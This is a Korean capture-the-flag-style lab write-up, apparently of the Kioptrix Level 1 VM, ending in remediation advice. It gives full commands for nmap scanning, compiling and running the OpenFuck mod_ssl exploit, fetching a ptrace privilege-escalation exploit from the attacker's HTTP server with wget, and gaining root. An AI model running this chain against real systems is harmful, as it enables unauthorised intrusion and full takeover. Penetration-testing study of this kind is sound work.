
오래된 소프트웨어와 잘못된 설정을 식별하고 악용하여 루트 수준 액세스를 확보했습니다. 오래된 버전의 mod_ssl에서 버퍼 오버플로우 취약점(CVE-2002-0082)이 발생했습니다. 권한 상승은 이후 리눅스 커널의 "ptrace" 유틸리티에서 경쟁 조건(CVE-2003-0127)을 악용하여 달성되었습니다.
잘못된 구성과 오래된 소프트웨어를 식별하고 익스플로잇하여 루트 수준의 액세스를 확보했습니다. 오래된 버전의 mod_ssl (CVE-2002-0082)에서 버퍼 오버플로우 취약점이 발견되었습니다. 이후 Linux 커널의 "ptrace" 유틸리티에서 경쟁 조건을 익스플로잇하여 권한 상승이 이루어졌습니다 (CVE-2003-0127).
1단계: 정찰 및 열거 첫 번째 단계는 192.168.56.0/24 서브넷에서 대상의 IP 주소를 식별하는 것이었습니다.
호스트 발견:
sudo nmap -sn 192.168.56.0/24
결과: 대상이 192.168.56.105에서 확인되었습니다.
포트 스캔 및 서비스 열거: 열린 포트, 실행 중인 서비스 및 운영체제 세부 정보를 식별하기 위해 포괄적인 Nmap 스캔을 수행했습니다.
sudo nmap -sS -sV -O -p- -oA lab_full_scan1 192.168.56.105
주요 발견 사항:
포트 80/tcp 및 443/tcp: Apache httpd 1.3.20, mod_ssl/2.8.4, OpenSSL/0.9.6b 실행 중.
포트 22/tcp: OpenSSH 2.9p2 실행 중.
포트 139/tcp: Samba smbd 실행 중.
OS 감지: Linux 커널 2.4.X (아마 2.4.9 - 2.4.18).
Apache와 mod_ssl의 오래된 버전은 초기 접근을 위한 높은 확률의 벡터를 즉시 제시했습니다.
2단계: 초기 접근 (익스플로잇)
searchsploit을 통한 익스플로잇 데이터베이스에서 mod_ssl 2.8.4가 잘 알려진 원격 버퍼 오버플로우에 취약함을 확인했습니다.
searchsploit mod_ssl 2.8
OpenFuckV2.c 익스플로잇 (EDB-ID: 47080)이 이 취약점에 가장 신뢰할 수 있는 페이로드임을 식별했습니다. 로컬 호스트에 익스플로잇을 미러링하고 필요한 암호화 라이브러리와 함께 컴파일했습니다.
익스플로잇 컴파일:
searchsploit -m 47080 gcc -o OpenFuck 47080.c -lcrypto
인수 없이 컴파일된 바이너리를 실행하면 지원되는 오프셋 목록이 제공됩니다. 오프셋을 대상의 특정 OS 및 Apache 버전 (Red-Hat Linux, Apache 1.3.20)과 일치시켜 올바른 오프셋이 0x6b임을 확인했습니다.
실행:
./OpenFuck 0x6b 192.168.56.105 443 -c 40
익스플로잇이 성공적으로 버퍼 오버플로우를 강제하여 apache 사용자로 낮은 권한의 셸을 획득했습니다.
bash-2.05$ whoami apache
3단계: 권한 상승
방법론 참고: OpenFuck 익스플로잇은 wget을 사용하여 원격 서버에서 보조 권한 상승 페이로드 (ptrace-kmod.c)를 자동으로 다운로드하려고 시도합니다. 그러나 대상 환경에 아웃바운드 인터넷 액세스가 없었기 때문에 이 자동화된 단계는 실패했습니다 (호스트를 찾을 수 없음으로 해석). 수동 열거 및 익스플로잇으로 전환했습니다.
시스템 열거:
bash-2.05$ uname -a Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
시스템은 매우 취약한 커널 버전 2.4.7-10을 실행 중이었습니다. 이 특정 Linux 커널을 대상으로 하는 익스플로잇을 검색한 결과 ptrace/kmod를 활용하는 로컬 권한 상승 취약점이 발견되었습니다.
페이로드 스테이징: 로컬에서 익스플로잇 (EDB-ID: 3)을 찾아 공격자 머신에서 Python HTTP 서버를 통해 호스팅하여 전송을 용이하게 했습니다.
공격자 호스트:
searchsploit -m 3 python3 -m http.server 8000
대상 머신:
cd /tmp wget http://192.168.56.1:8000/3.c
3.c 소스 코드가 대상의 /tmp 디렉터리로 성공적으로 전송되었습니다. 대상 머신에서 네이티브로 컴파일하고 실행했습니다.
실행 및 루트 장악:
gcc 3.c -o exploit
./exploit
whoami
root
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
ptrace 경쟁 조건이 성공적으로 익스플로잇되어 apache 데몬에서 root로 권한이 상승되었습니다. 전체 시스템 장악이 이루어졌습니다.
4단계: 수정 익스플로잇된 취약점으로부터 이 시스템을 보호하려면:
웹 서비스 업데이트: Apache 서버를 최신 안정 버전으로 업데이트하여 인증되지 않은 원격 코드 실행을 허용하는 CVE-2002-0082 버퍼 오버플로우 취약점을 패치해야 합니다.
커널 패치: Linux 커널 (2.4.7-10)은 ptrace (kmod) 경쟁 조건을 포함한 여러 로컬 권한 상승 익스플로잇에 취약합니다. 운영체제 커널을 최신 지원되는 버전으로 업그레이드해야 합니다.
네트워크 분할 및 이그레스 필터링: 서버는 불필요한 아웃바운드 트래픽을 제한하는 방화벽 뒤에 배치해야 합니다. 이 오프라인 랩에서 자동 wget이 실패했지만, 이그레스 필터링은 손상된 웹 애플리케이션이 인터넷에서 보조 악성 페이로드를 가져오는 것을 방지할 수 있습니다.